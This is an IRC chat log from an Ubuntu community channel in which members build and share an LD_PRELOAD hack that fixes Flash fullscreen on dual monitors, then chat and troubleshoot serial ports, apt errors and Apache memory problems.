<HazRPG> ali1234: saw something about it should be able to do it for other misbehaving apps, is that the case or have you targeted it for flash?
<ali1234> if other apps make the same mistake with fullscreen mode, this patch will fix them
<ali1234> i doubt many of them do though
<ali1234> unfortunately there is 101 ways to get the screen res, most of which will not do what you expect with twinview
<ali1234> and i'm only addressing 1 way
<HazRPG> still pretty awesome :P
<HazRPG> if you open source it, others might try and help contribute for the rest ;)
<HazRPG> I know I would if I knew what I was doing
<HazRPG> heck the hack you just did, I would have done it myself if I knew how
<HazRPG> most I've ever done was a few memory hacks with some hex editors
<hamitron> Azelphur: just got to watch the vid
<HazRPG> changing the start bar text in windows is amusing too for confusing people :P
 * HazRPG hanging off the edge of his seat to at least see a video of quick explanation of ali1234's hack.
<HazRPG> s/of/or
<hamitron> why all the need for vids for passing on a message? :/
<HazRPG> or even a screenshot!
<hamitron> better :)
<HazRPG> :p
<HazRPG> guessing he's still cooking it up, or doing other stuff
<hamitron> media and streaming is all well and good
<hamitron> but it is really getting overused imo :/
<HazRPG> hamitron: only cos the technology, network speeds, etc can allow for them
<hamitron> way things are going, ebooks will be dead before they have really started
<hamitron> ;)
<HazRPG> screenshots at one point was a really overused thing at one point back in the dialup days
<HazRPG> hamitron: I doubt that :P
<HazRPG> ebooks have been around for a while
<HazRPG> just the medium to read/display them haven't
<hamitron> I mean taken off to the point where most people use them
<hamitron> yeh
<ali1234> http://al.robotfuzz.com/~al/random/fullscreenhack-0.1.tar.gz
<HazRPG> hamitron: personally I'd have a portable ebook reader than a portable video player any day - just because battery life will take many years before they'll last longer than a day for video
<hamitron> I'd choose a book
<hamitron> ;)
<hamitron> but it really bugs me when tips are put into video on something like youtube
<hamitron> they are much harder to search, than text
<Azelphur> hamitron: it's so funny though right? :P
<hamitron> huge downloads
<hamitron> and also, reading something allows you to go through it at your own pace
<HazRPG> ali1234: winner :)
<hamitron> </rant>
<hamitron> Azelphur: I don't understand eithers side tbh
<HazRPG> hamitron: pausing does the same effect ;)
<HazRPG> I do that quite a bit with videos
<hamitron> it is harder to rewind, or make notes
<HazRPG> ali1234: personally I would have put the GPL licence in that download too :P
<ali1234> i forgot to mention, you should do make test to make sure oyu put the right number in
<hamitron> but an example is it takes 20 mins to download the 5 min vid, and you could of read the message in under 2 mins
<ali1234> i don't like to put GPL on things like this
<HazRPG> fair enough
<HazRPG> make test?
<ali1234> the code is trivial, it's reversing the proprietary stuff that is hard
<ali1234> make test will run the tester program with and without the hack, to prove the call is patched properly
<HazRPG> is the command just make test?
<ali1234> yes
<HazRPG> reading through your documentation at the min :)
<HazRPG> nicely put together I must say
<HazRPG> wow, those are some strange values for screen resolution you've got there
<HazRPG> guessing its widescreen
<ali1234> i have 1920x1200 and 1280x1024 side by side
<HazRPG> ali1234: also, much thanks in advance :)
<ali1234> the extra 120 vertical pixels on my big monitor makes a huge difference btw, i hate widescreen monitors normally
<HazRPG> I hate widescreen too, which is why I'm still running on 2 - 1280x1024's
<ali1234> so then you would put 2480 1024 for real and 1280 1024 for fake values
<HazRPG> also, both monitors cost me Â£20, so can't complain
<HazRPG> ali1234: indeed, already done that :)
<ali1234> assuming horizontal layout
<HazRPG> actually its 2560x1024
<ali1234> oh yeah, oops
<HazRPG> :p
<hamitron> guess it is hard in decimal, when your mind works in binary ali1234 ;)
<HazRPG> hmm, I got a fatal error for that
<ali1234> for make test?
<HazRPG> yeah
<HazRPG> I did make && sudo make tester
<ali1234> that won't work
<HazRPG> ah
<ali1234> sudo make clean
<ali1234> make && make test
<ali1234> if it still fails pastebin it
<ali1234> actually, pastebin it anyway
<HazRPG> yup still errors out
<ali1234> you might miss -dev packages
<HazRPG> ali1234: http://paste.ubuntu.com/572448/
<ali1234> yes
<HazRPG> ali1234: ah, that could be possible - only just put ubuntu on the other week
<ali1234> no 32 bit toolchain
<ali1234> sudo apt-get build-dep nspluginwrapper
<ali1234> that should give you everything you need just about
<hamitron> laters guys and gl o/
<HazRPG> hamitron: later dude
<HazRPG> also, yeah that's fixed it :)
<HazRPG> ali1234: well, it seems to be reporting the correct values in your tester :)
<ali1234> ok, sudo make install and restart firefox
<HazRPG> I like how you assume I use firefox :P
<HazRPG> I might start using it for videos though :)
<ali1234> "click on the blue e"
<ali1234> i dunno, it will work in any browser that uses NPAPI
<ali1234> won't work if you install 64 bit flash though
<ali1234> not without some more fiddling
<HazRPG> hmm, I'm getting an error because the folder /usr/lib/nspluginwrapper/i386/linux/ doesn't exist
<ali1234> then you probably don't have distro flash installed
<HazRPG> ah shoot, yeah its 64-bit ubuntu I'm running on
<Cepheus> ali1234: does it patch in memory or patch on disk?
<ali1234> Cepheus: it patches in memory, actually it wraps around xlib
<HazRPG> ali1234: also, yeah chrome has its own flash inside it's install folder
<ali1234> Cepheus: like i said, flash asks the wrong question, so the patch intercepts it and returns a lie
<HazRPG> hmm, just installed flash and its still throwing the create error
<Cepheus> ali1234: ah
<ali1234> HazRPG: chrome is 32 bit though right? so it won't use nspluginwrapper
<HazRPG> ali1234: chrome 64 bit
<ali1234> hmm, maybe it comes with a 64 bit flash then
<ali1234> so, i don't have that setup
<ali1234> you'll have to install firefox or chromium and flashplugin-installer (which will pull in ndiswrapper too)
<HazRPG> I just installed flash from the software centre, would have thought that would have grabbed it
<ali1234> dunno, i never used software centre
<HazRPG> yeah it did (just ran it through terminal)
<ali1234> the patch will work with 64 bit flash, but it will be tricky to find somewhere to insert the LD_PRELOAD
<HazRPG> ali1234: wow!
<HazRPG> seems I was missing sudo
<HazRPG> just opened firefox, and it worked awesomely :D
<ali1234> now you get to see just how slow youtube HD actually is in fullscreen
<ali1234> i get about 2 fps
<HazRPG> ali1234: YouTube HD (1080p) worked perfectly for fullscreen, it was only videos of 720p and below that had the issue
<ali1234> 1080 failed on my setup before
<ali1234> works now though
<ali1234> seems a bit faster too
<HazRPG> ali1234: might just be my setup, I'm running an i7-930, 8800GTS
<HazRPG> hmm, just out of interest, how does this run itself?
<ali1234> what do you mean?
<ali1234> it's a browser plugin, the browser runs it...
<HazRPG> just trying to see if I can get it to do the same effect on chrome
<ali1234> well on chrome the browser will directly load the flashplugin.so
<ali1234> so there is no place to tell it to load the libfullscreen
<HazRPG> ah
<ali1234> so what you would need to do, is make chrome use nspluginwrapper in native 64 bit mode
<ali1234> which is possible
<ali1234> but tricky
<HazRPG> makes sense
<ali1234> alternatively you could set LD_PRELOAD before running chrome
<HazRPG> I was thinking that
<ali1234> it willthen be passed on to the child processes an so on
<HazRPG> oh, I thought LD_PRELOAD might not pass it on
<ali1234> it's environment variable so it will
<ali1234> you will need to rebuild the hack for 64 bit though
<ali1234> to do that, edit the makefile and change it to BITS=64 on the first line
<ali1234> then make clean && make
<ali1234> then LD_PRELOAD=./libfullscreenhack.so chrome
<ali1234> however, chrome might use XGetGeometry, so it might mess it up
<ali1234> but it's worth a try, it will probably be okay
<HazRPG> heh that worked
<HazRPG> it hated using the proper binary though for some reason
<HazRPG> it was loaded 3 times too
<ali1234> yeah
<ali1234> you'll get the loading message for every exe that is forked off the first one
<HazRPG> I think its odd that it works for /opt/google/chrome/chrome but not /opt/google/chrome/google-chrome
<HazRPG> google-chrome is the main binary, chrome is just the binary that gets loaded afterwards
<ali1234> one is probably a shell script that runs the other
<ali1234> it might do some library trickery too
<HazRPG> ali1234: ooo, it is a shell script
<HazRPG> hmm, if I add that line into this script, would that work?
<ali1234> so, you can set the LD_PRELOAD in that shell script so you don't always have to type it
 * HazRPG going to try anyways
<ali1234> look at how it is done in npviewer
<HazRPG> heh yeah
<ali1234> near the end
<HazRPG> oh, didn't realise npviewer was a script
<ali1234> yes, i just added some lines to it, didn't want to make a patch
<HazRPG> wow how cheeky is google
<HazRPG> # We don't want bug-buddy intercepting our crashes. http://crbug.com/24120
<ali1234> lol
<ali1234> it's fair, they probably have their own crash dumper, and suse won't care about bug reports from chrome
<HazRPG> true
<HazRPG> hmmm chrome executes differently, it uses: exec -a "$0" "$HERE/chrome" "$@"
<ali1234> it's ok
<ali1234> as long as LD_PRELOAD is exported
<HazRPG> would it be fair to say if I changed your $LD_PRELOAD:$HERE/libfullscreenhack.so
<HazRPG> it should do it?
<ali1234> if you put the 64 bit .so into the same dir as chrome, that should work
<HazRPG> that was the plan :P
<HazRPG> do I need the .o?
<ali1234> no
<HazRPG> that's when it was getting compiled
<HazRPG> still not fully use to linux filenames
<HazRPG> I know .so is similar to .dll
<HazRPG> that was one of few I did learn
<HazRPG> I know windows makes .obj when you compile code (depends on language)
<ali1234> .obj is .o
<HazRPG> yeah I figured :)
<ali1234> .o is raw machine code without the tables that link the bits together
<ali1234> linker turns it into a exe or a library
<HazRPG> ever heard the expression "man, I could kiss you!"? That's how I feel right now xD
<ali1234> it works in chrome then?
<HazRPG> haven't put it in the script yet, was just doing a cp of the .so
<HazRPG> but it works in terminal, so would assume so ;)
<HazRPG> oh, can't save heh vim it is
<Cepheus> my desk chair is now a stool with wheel :/
<HazRPG> haha yes!
 * HazRPG kisses ali1234
<HazRPG> ali1234: seriously, bout earlier if ya want a book mailed just ask :)
<HazRPG> or similar
<HazRPG> heh, just noticed npwrapper.libflashplayer in the about:plugins
<HazRPG> wonder if the added lines was really needed
<ali1234> well it probably sees all versions, it will only use one though
<ali1234> no idea which one it would pick
<HazRPG> ali1234: it definitely needs the LD_PRELOADER
<HazRPG> just checked
<ali1234> so it must be favouring it's built in 64 bit version. makes sense
<HazRPG> for a second, I thought it was just picking up the .so from the directory
<HazRPG> still, awesome hack though :D
<HazRPG> ali1234: you know what, fullscreen actually works faster now too
<ali1234> i suspect it's faster because it's not copying the whole size of your desktop pointlessly at each frame :)
<ali1234> it's faster for me too
<HazRPG> as in when it switches from 360p to 480p & 720p... but I guess other factors could be going in too
<HazRPG> ali1234: I think your theory is better
 * HazRPG have an urge to post this on my blog
<HazRPG> has*
<ali1234> i will probably throw up a page about it tomorrow
<HazRPG> ali1234: cool, well if you do I'll help mirror the download
<HazRPG> cos I can imagine you'll be getting a fair few hits
<ali1234> i doubt it, and it's tiny anyway
<HazRPG> I know at least 10 guys off the top of my head that'll love this hack too
<ali1234> 3kb
<ali1234> it's not exactly user-friendly either
<HazRPG> if its well documented, I'm sure it'll be fine
<ali1234> i see a lot of posts about it on ubuntuforums
<HazRPG> like I said, it's a huge problem for many people
<ali1234> apparently it affects ati people too
<ali1234> i noticed while making this hack that nspluginwrapper already has a couple of similar hacks for various other bugs...
<HazRPG> wow
<HazRPG> seriously?
<ali1234> yeah
<HazRPG> guessing its for other ways of grabbing full-screen
<ali1234> i dunno what they do. libnoxshm.so i guess disables xshm... it's disabled though
<ali1234> there was another one
<ali1234> both disabled
<ali1234> doubt they are specific to flash
<HazRPG> if they're disabled, I'm guessing they've been fixed over time but the files haven't been removed
<ali1234> probably. and if you get fullscreen problems in any other app try running with the hack
<HazRPG> unless it checks for it in the code
<HazRPG> ali1234: ooo, think it would work for wine?
<ali1234> maybe
<ali1234> but i prefer to use wine virtual desktop
<ali1234> it fixes other problems, like directx mouse grabbing
<HazRPG> although, I've done a few tweaks here and there myself for wine stuff, its very very tedious, and doesn't work from one app to the next
<HazRPG> ali1234: heh, that doesn't work for borderlands
<HazRPG> I was testing it out the other day trying to get it to fullscreen properly in one window - but the mouse still wouldn't stay put
<HazRPG> it was like a "keep track of the mouse location" game :P
<HazRPG> I mean I have all boxes ticked on the graphics section, and with a few reg tweaks, a few file tweaks and some dll overrides I got it to fullscreen properly - keep meaning to post it up on wineHQ since no one has anything similar on there
<HazRPG> but the mouse grab is the only issue
<HazRPG> and I don't know if that's steams fault, or borderlands
<HazRPG> or a lovely mix of the two
<HazRPG> I know steams DirectX overlay is broken - in the sense that you can get rid of the pop ups in-game
<HazRPG> can't*
<HazRPG> however I might just be doing the mouse grab thing wrong thought
<HazRPG> though*
<ali1234> there's a box on the settings you can tick, don't think there is any more than that
<HazRPG> there's a few reg tweaks too
<ali1234> if the mouse is actually moving, the game is doing something dumb
<HazRPG> yeah the mouse is actually going off screen, so it seems its not centring it right
<HazRPG> wow ultimate doom actually works fine under wine
<ali1234> why not use one of the free engines?
<HazRPG> windows 7 would refuse to play it even though its going through dosbox
<HazRPG> ali1234: yeah its also on my to-do list
<HazRPG> winner the .wad's aren't DRMed :D
<HazRPG> ooo, I wonder if I can get quake to run too
<HazRPG> I bought lots of oldies from steam
<HazRPG> was dead cheap over the xmas/new year
<HazRPG> think the whole doom pack only cost me like Â£5 (inc doom 3)
<HazRPG> ali1234: again, much thanks for the hack :)
<HazRPG> http://www.youtube.com/watch?v=qG9SPywEGm4
<HazRPG> :)
<_sara_> hiii
<HazRPG> hey
<HazRPG> morning :)
<_sara_> i am on an eeepc - urgh windows
<HazRPG> ug
<HazRPG> personally, I prefer ubuntu on my netbook :)
<HazRPG> since it uses less resources, and works better
<daubers> Morning
<MartijnVdS> \o
<HazRPG> MartijnVdS, daubers: morning \o
<HazRPG> wow, this is scary piece of news, and has really shed some light for me (about ubuntu): http://www.linux-mag.com/id/8171/
<daubers> HazRPG: That article is out of date
<HazRPG> by 6 days...
<HazRPG> unless things have changed since then?
<daubers> http://www.jonobacon.org/2011/02/24/banshee-in-natty-to-ship-multiple-stores-and-contribute-to-gnome-foundation/
<HazRPG> it was on the home page for linux mag
<HazRPG> I wonder if that was in response to that article :P
<daubers> HazRPG: It was in response to the general uproar
<HazRPG> makes sense really
<HazRPG> is there a news site that I'm missing that keeps these things up-to-date?
<HazRPG> or an irc channel... or something
 * HazRPG was googling for linux mag online stuff and ended up on said site previously
<daubers> HazRPG: planet.ubuntu.org
<daubers> .com sory
<daubers> urgh
<daubers> can't type this morning
<HazRPG> the .org is a real site too O.o
<daubers> HazRPG: Yeah, but not the one you want :)
<HazRPG> indeed
<HazRPG> daubers: any other sites I can add to the list :)
<daubers> planet.ubuntu-uk.org
<HazRPG> I have that one :P
<daubers> :)
<HazRPG> just general linux news really
<daubers> Those are the main two in my feed reader
<HazRPG> ooo, interesting thought, what feed reader do you use?
<HazRPG> I mean I use to use Juice for Podcasts
 * HazRPG currently looking at Liferea
<daubers> reader.google.com
 * daubers really should have a shower as he has to go to work in 30 minutes
<kazade> Typical, the first time I try to program some Twitter oAuth stuff, Twitter goes over capacity :/
<MooDoo> hello all
<Myrtti> meh
<MooDoo> Myrtti: that good eh!
<daubers> o/
<MooDoo> daubers: morning
 * daubers has run out of sockets in the workshop :(
<daubers> Time to run some sockets from the office upstairs down into here so I don't overload the fuse box
<danfish> daubers: *what* are you running? Frankenstein's monster?
<danfish> s/running/powering
<daubers> danfish: 128TB cluster :)
<daubers> plus 8 "clients"
<daubers> danfish: At the moment it's popularly known as the workshop heater
<daubers> or "That bloody racket"
<danfish> :)
<danfish> ...at the other end of the scale, me unwraps his guruplug, freshly delivered today
<daubers> heh
<danfish> the viglen finally processed it's last bit and went to the great processing unit in the sky
<daubers> Meant to bring my viglen into the office today to start repurposing it
<daubers> (again)
<danfish> daubers: if oggcamp goes ahead, fancy helping with an arduino/embedded devices topic/talk?
<daubers> Oooooh... could do
<gord> arduino's look like sooo much fun, but i have forced myself not to purchase one until i have an actual use
<daubers> My brother wants me to build him a "photobooth" for his wedding. If I have time to start on it by then I might be able to bring it with :)
<danfish> daubers: cool - when/if it's announced we could throw up an etherpad for ideas.
<daubers> \o/
<danfish> gord: bah - 'use'. What does that really mean? Just think of the dosh you're saving by not having a TV licence...
<gord> danfish, that gets spent on movies and tv blurays and such, i still buy tv, i just don't watch broadcast tv ;)
<daubers> gord: I can turn the lights on and off in my house with one of mine :)
<danfish> gord: one of mine that controls the garage door can cause serious head wounds due to my crap programming :(
<gord> do you have any decapitation bugs filed in launchpad
<gord> ?
<danfish> yes, but they are a bit....truncated :P
<gord> just be careful if someone confirms it... zombies
<danfish> zombies - the brain eating I can get over, but that they all use KDE...repulsive
<popey> morning all
<MooDoo> morning
<MooDoo> morning popey
<alexcockell> Hi all..
<alexcockell> Oh - something just came to my attention that I HAVE to share....
<popey> uhoh
<alexcockell> Seems like Sir Clive is trying again with his "personal electric transport" http://www.theregister.co.uk/2010/11/04/sinclair_x1/
<popey> thats a bit old now :)
<popey> i think they reviewed it on the gadget show
<popey> was unsurprisingly bad
<alexcockell> Only just saw it mentioned... missed it at the time..
<danfish> another howler from Sir Clive
<alexcockell> DigitalSpy just linked to it..
<alexcockell> I immediately went into hysterical laughter when reading about it - especially seeing the Youtube clip..
<alexcockell> http://www.sinclairzx.com/spec-x-1.html
<alexcockell> And how much did he haemorrhage on the original C5?
<danfish> nothing compared to how much he haemorrhage on failed marriages ;)
<danfish> s/haemorrhage/haemorrhaged
<alexcockell> wb screen-x
<alexcockell> And to think that one of the first aftermarket changes people made to a Speccy was to get... a decent keyboard...
<popey> firsr thing I bought for my speccy was RAM
<popey> and a joystick
<popey> I never changed the keyboard from the original rubber one
<popey> although I did own a 128+2 later
<daubers> I never owned a rubber one, had the nice clunky placcy one in the 48k+
<popey> mine cost 20 quid second hand in a record shop in Aldershot
<popey> then I saved up for the memory upgrade :)
<AlanBell> happy Saturday everyone
 * alexcockell replaying Micro Men off my PVR..
<alexcockell> Now - if the Beeb were to release it on DVD...
<alexcockell> My family bought the DKTronics keyboard or a product somilar to it - the one where the Speccy and Interface 1 boards fitted inside it...
<directhex> TEH WEBS!
 * daubers considers an early lunch
<AlanBell> daubers: call it "second breakfast" and leave your options open
<Baikonur> i'm having a late lunch
<daubers> or "That bloody racket"y
<daubers> or "That blooddefais
<daubers> truey
<daubers> sudo serviiststart
<daubers> clear
<daubers> sudo nano /etc/ietd
<ali1234> wat
<daubers> urgh
<daubers> urghAlias LUN1y
<daubers> urghAlniiaa
<daubers> sudo nano /etcre/ietd
<daubers> clear
<daubers> ls
<ali1234> WAT
<ali1234> daubers: ^
<daubers> Sorry!
<daubers> Set terminator to broadcast all, not group!
<AlanBell> ah, you are back
<AlanBell> I was about to quiet you before you started typing passwords!
 * daubers moves this terminal into a different group
<daubers> AlanBell: Doesn't matter, this set of boxes will only be running for a few hours, then be blatted, so lots of passwords of "password"
<ali1234> does terminator broadcast mode stop if sudo asks for a password?
<ali1234> because it should
<Baikonur> actually, this is pretty much the exact time i normally eat
<Baikonur> on weekends
<ali1234> (if pam is configured for only interactive passwords)
<ali1234> also, what kind of a shell command is "urgh"
<daubers> it's in my irssi history
<Pendulum> popey: can you PM me when you're around next?
<dutchie> daubers has been writing imaginatively named scripts :)
<gord> been using irc for 10-11 years now, still read "PM" as prime minister
<brobostigon> afternoonings everyone.
<jacobw> afternoon
<brobostigon> afternoonings jacobw :)
<alexcockell> HI brobo
<brobostigon> afternoonings alexcockell :)
<brobostigon> yay wales, :)
<DarkProphet> good afternoon, i'm having trouble importing my music library from rhythm box to banshee in 10.10, its saying "Unable to Import song" for alot of them...anything I can do ?
<daubers> I'm hearing a rumour that there's an updated nvidia driver for natty
<daubers> true/false?
<HazRPG> wow, that sucked
 * brobostigon hugs HazRPG 
<HazRPG> the internet was cut from 9am this morning till now
<brobostigon> :(
<HazRPG> brobostigon: yay :)
<brobostigon> :)
<HazRPG> I was in the middle of uploading some tests to show clients too :/
<HazRPG> oh well
<brobostigon> :(
<Myrtti> mmmmmm nom
<Myrtti> I made thai yellow chicken curry with potatoes, and my nephew asked me where do I get the recipies because I always cook so nommy food.
<brobostigon> :)
<Myrtti> he is the one in the family that is really picky about food
<Myrtti> and now, I'm drinking a perry
<Myrtti> watching a proggy about dolphins with mum, trying to fix phpbb and trying to login to minecraft
<Myrtti> I'm sure saturdays could be better, but this is good enough for me given the circumstances.
<Myrtti> yay.
<mgdm> thai curry of more or less any form is excellent
 * popey pokes AlanBell with http://sozi.baierouge.fr/wiki/en:welcome
 * popey points X3N at the continued OOMs on ubuntu-uk.org
<AlanBell> very nice
<mgdm> popey: that WP/Apache OOM again?
<popey> wp/apache/php or something, yes
<popey> this time mysql got murdered
<bigcalm[mob]> Afternoon peeps
<MartijnVdS> \o mob of bigcalm
<brobostigon> afternoonings bigcalm[mob]
<bigcalm[mob]> Anything new happening?
<brobostigon> downloading natty daily, to try out gnome3-team ppa.
<bigcalm[mob]> Watch Paul tonight. Anybody here seen it yet?
<mgdm> bigcalm[mob]: I'm off to see it tonight too
<siya_> Any suggestions for "read serial port: Resource temporarily unavailable"
<siya_> trying to putty to a serial port
<MartijnVdS> siya_: port already in use by another program
<siya_> minicom worked for a few seconds and is now really flakey
<MartijnVdS> siya_: port with specified name not existing
<bigcalm[mob]> I guess not
<MartijnVdS> bigcalm[mob]: paul? the alien movie thing?
<siya_> ttyS0 does exist, how to I clear the damn port?
<MartijnVdS> siya_: fuser /dev/ttyS0
<MartijnVdS> siya_: see which process is still using it
<siya_> MartijnVdS, nada...
<MartijnVdS> siya_: what does "screen /dev/ttyS0" say?
<siya_> hmmm sudo fuser does show something
<MartijnVdS> (if it works, you can "hang up" using Ctrl+A then k)
<MartijnVdS> siya_: ah, modem-manager, perhaps?
<ali1234> if there is a modem on the port, network-manager may be trying to control it
<siya_> Aaaargh!!! It's assigned to a virtual machine
<MartijnVdS> if there isn't, it might be trying to poke it to find out if the thing that's attached to is a modem :)
<siya_> hence minicom had issues and Putty won't touch it at all
<ali1234> it should only do that one time
<brobostigon> bye all, have a good evening.
<siya_> tx MartijnVdS
<MartijnVdS> ali1234: it might take a while if it needs the commands ti time out though
<ali1234> maybe
 * siya_ kills the vm
<HazRPG> ooo the new podcast season sounds like its going to be fun :)
<HazRPG> hmm, how rare
<HazRPG> rhythmbox seems to think all my downloads for the podcasts failed - but they all sound fine
<jacobw> HazRPG: I've had that problem
<jacobw> Rhythm sucks at downloading stuff
 * jacobw -> away
<HazRPG> jacobw: I've never had problems with Rhythm before
<HazRPG> jacobw: I just downloaded Liferea for subscribing to RSS feeds, it seems pretty awesome :)
<HazRPG> might use it for downloads too
<X3N> popey: this time there was no php memory errors.. :(
<X3N> i see it wasn't rebooted..
<X3N> I think the kernel is foobared
<X3N> or we just don't have the resources on the server that the system needs
<safiyyah> ubuntu has crashed, I managed to boot it back up, I have loaded a disk to reinstall and it says it can't open autorun
<safiyyah> please help
<X3N> what does "ubuntu has crashed" mean?
<safiyyah> as in applications not loading, it's not booting up
<safiyyah> without trying over and over again
<safiyyah> firefox isnt working
<safiyyah> not connecting to the net, evolution is having the same problem. Opera is working though
<safiyyah> so I figure I need a clean install
<X3N> very odd
<X3N> are you able to boot off the cd or usb?
<safiyyah> no cds not booting
<safiyyah> I tired karmic and lucid
<safiyyah> tried*
<safiyyah> karmic booted but then my monitor said it couldn't pick up the signal
<X3N> is it quite an old machine?
<safiyyah> no
<X3N> or old monitor?
<safiyyah> new
<safiyyah> new monitor
<safiyyah> i bought everything last yea
<safiyyah> year*
<popey> X3N: as I pointed out previously, I had exactly the same issue/setup on my vps, and switched from Apache to Lighttpd and this never happens now
<X3N> I don't not believe you, it's just I'm trying to see what the root of the problem is
<safiyyah> you welcome to have a look at my system
<safiyyah> it all started last night
<safiyyah> and now i only have a few working applications
<X3N> safiyyah: what happens when you try and launch and application from a terminal
<safiyyah> okay let me try
<safiyyah> firefox?
<X3N> yeah
<X3N> anything that doesn't currecntly work
<safiyyah> okay firefox is loading.. which it was... it's just not loading pages
<X3N> so you don't have an internet connection?
<safiyyah> i do
<safiyyah> am using xchat with the next connection
<safiyyah> and opera browser is loading up pages
<safiyyah> evolution is also unable to get mail too
<safiyyah> when i try to run the ubuntu live disk, it says:
<safiyyah> Cannot find the autorun program
<X3N> are you running the ubuntu live disk on your machine while it's booted?
<X3N> or are you rebooting with the cd in the drive and then booting off it?
<safiyyah> when i try to boot off the disk, it doesnt load
<safiyyah> when I try to boot it while the machine is booted it doesnt respond
<X3N> have you tested the boot disk to make sure it's fine?
<suprengr> safiyyah: when your browser loads a page - are you sure it's not just loading from cache? what happens if you ask it to refresh? [~& tried other other CDs in your drive? maybe CD or drive is borked]
<safiyyah> it wont even load the menu for me to check disk errors
<safiyyah> it goes straight to live disk
<safiyyah> i have tried other CDS and media disks are loading fine
<safiyyah> all ubuntu disks are not loading... they go straight to live media which doesn't successfully load
<suprengr> safiyyah: you mean that when you boot from cd it goes to live install directly?
<suprengr> s/install/load
<safiyyah> okay let me try
<safiyyah> is this from the command line BEFORE you boot in?
<safiyyah> can i do it from the terminal now
<suprengr> from a complete shutdown and startup with cd in
<safiyyah> okay am rebooting
<suprengr> .. o/ hi everyone
 * suprengr confesses to feeling good... suprengr 's got a day off!
<MichealH> Errors were encountered while processing:
<MichealH>  python2.7-minimal
<MichealH> E: Sub-process /usr/bin/dpkg returned an error code (1)
<MichealH> Anyone getting this in maverick?
<mgdm> what were the errors?
<DJones> MichealH: It would help if you said what you were doing at the time the error appeared
<MichealH> I did sudo apt-get install pidgin
<MichealH> it also happens when installing unity ect.
<MichealH> I know what this issue is, I think
<MichealH> the repo's o not have a newer version of it
<MichealH> Apparently I have to force annother version in, but I cannot fix it permenantly
<MichealH> Anyone?
<mgdm> done an apt-get update recently?
<DJones> MichealH: I'm not sure, maybe pastebin the complete error message
<MichealH> Ummm, let me try that
<MichealH> DJones, http://paste.ubuntu.com/572747/
<MichealH> mgdm, It seems I cannot apt-gt update the lock is now on :/
<AlanBell> sudo
<MichealH> I am running it as root
<MichealH> I think instlling it is breaking apt
<mgdm> ah, something else is working at the same time
<MichealH> Its updating
<MichealH> I removed the lock
<MichealH> Still not solved
<MichealH> mgdm, Nothing was wroking at that time
<MichealH> DJones, Ideas?
<MichealH> AlanBell, ?
<AlanBell> MichealH: do sudo apt-get upgrade |pastebinit
<MichealH> pastebinit is not installed and I think i cant install it
<MichealH> :/
<AlanBell> ah, ok]
<AlanBell> looks like your python2.7-minimal package may be broken
<MichealH> I can try :P
<AlanBell> I will try upgrading a bit later
<MichealH> But, Its broke?
<MichealH> Can I fix broken packages?
 * MichealH downloads from package.ubuntu.com and tries installing the .deb
<MichealH> "There seems to be an error in aptdaemon..." WTH
<Baikonur> your something is broken
<MichealH> I got told python2.7-minimal is broken
<MichealH> How do I fix that?
<DJones> MichealH: Googling doesn't even bring anything up for that error, the only thing I can see is "there seems to be a programming error in aptdaemon."
<MichealH> hmmm
<HazRPG> haha, you guys will definitely appreciate this: http://www.makeuseof.com/tech-fun/an-update-is-available-for-your-computer/
<MichealH> HazRPG, HAHAHAHAHA
<MichealH> epic
<HazRPG> MichealH: isn't it just :P
<ali1234> wow http://www.makeuseof.com/tech-fun/must-see-ipad-2-video-review/
<ali1234> someone had the same idea i had
<ali1234> thing is, i can see that actually happening
<Azelphur> ali1234: haha
<ali1234> if it was cheap enough and light enough, why not?
<HazRPG> ali1234: hehe :P
<X3N> apache seems to have totally killed it's self
<ali1234> it's not exactly a million miles away from this: http://www.heyokay.com/images/Ghetto%20Blaster.jpg
<HazRPG> ali1234: xD I own one of those
<ali1234> a portable stereo?
<HazRPG> yeah :P
<HazRPG> takes 6 D batteries! >_<
<HazRPG> I've actually seen people do this... http://www.makeuseof.com/tech-fun/how-to-find-out-if-a-girl-likes-you-facebook-hack/
 * MartijnVdS watches an old Voyager ep
<mgdm> DS9 is vastly better
<MartijnVdS> mgdm: don't have those (yet)
<MartijnVdS> mgdm: also, some Voy eps are good
<mgdm> the vast majority are pants, though :P
<MartijnVdS> mgdm: "The Chute"
<gord> next generation is the only ones worth watching but voyager is especially bad :P
<mgdm> there's one episode so bad the production team disowned it
<MartijnVdS> Threshold :)
<mgdm> that's it :)
 * MartijnVdS knows too much 8-)
<MartijnVdS> too much Star Trek, that is
<HazRPG> ali1234: you might like this: http://www.makeuseof.com/tech-fun/write-in-c-catchy-song-for-programmers/
<X3N> gord: any good with apache2 ?
<HazRPG> X3N: what's up?
<MartijnVdS> HazRPG: don't forget â« We All Live in a Windows Subroutine
<MartijnVdS> HazRPG: and â« Deadlock Holiday
<mgdm> At least it's not the free software song
<mgdm> with our without Jono
<HazRPG> :P
<MartijnVdS> mgdm: JOIN US NOW AND SHARE THE SOFTWARE
<mgdm> NOOOOOO
<X3N> HazRPG: apache2 is sending out the http response header then closing the connection
<lunchie> lo HazRPG
<HazRPG> Lunchie: sup dude :)
<HazRPG> X3N: hmm, is this a recent problem, or have you just installed it?
<lunchie> not much just bored at work all hail mobile phone irc
<HazRPG> Lunchie: haha, nice :P
<X3N> it's a recent problem
<HazRPG> Lunchie: for some reason my irc client thinks there's two of you online :s
<HazRPG> X3N: hmm, caused by an update or have you been changing any settings?
<lunchie> oops probs left pidgin on at home
<HazRPG> Lunchie: hehe
<HazRPG> Lunchie: You still working at the place near me?
<HazRPG> X3N: I'm guessing apache2 isn't just randomly closing.
<X3N> it's alright, it was just php fooling me
<HazRPG> ah
<lunchie> HazRPG,  na dude not since just before christmas, just in raffles near me  now
<HazRPG> Lunchie: ah, was going to say I'd pop round for a bit if you were :P
<HazRPG> bore out of my skull!
<HazRPG> s/bore/bored*
<brobostigon> evening everyone.
<HazRPG> brobostigon: evening dude :)
<brobostigon> HazRPG: evening :)
<Baikonur> i'm gonna bore out of my skull
<HazRPG> Baikonur: that's quite a task your taking on there :P
<shauno> Trying to do an OS install using only text-to-speech is a bit of a mind bender :/
<mgdm> o_O
<HazRPG> shauno: it can't be done man! Your crazy! That's crazy talk! O.o
<shauno> completely offtopic. Installing osx with no screen. Just headphones and keyboard. Whole new level of respect for a11y devs
<AlanBell> shauno: that could be done with Lucid, got broken in Maverick
<AlanBell> it was somewhat rubbish in Lucid mind
<AlanBell> I am planning on trying it and filing bugs in Natty
<shauno> It's almost like an old school text game. You are currently in a text field inside a table. Currently selected: United States
<mgdm> GO NORTH
<X3N> popey: I've had a great idea, why don't we just use lighthttpd ?
<AlanBell> shauno: have you tried orca in Ubuntu?
<X3N> ;)
<mgdm> Try lighttpd, it's better
 * mgdm runs :P
<X3N> more t's more better
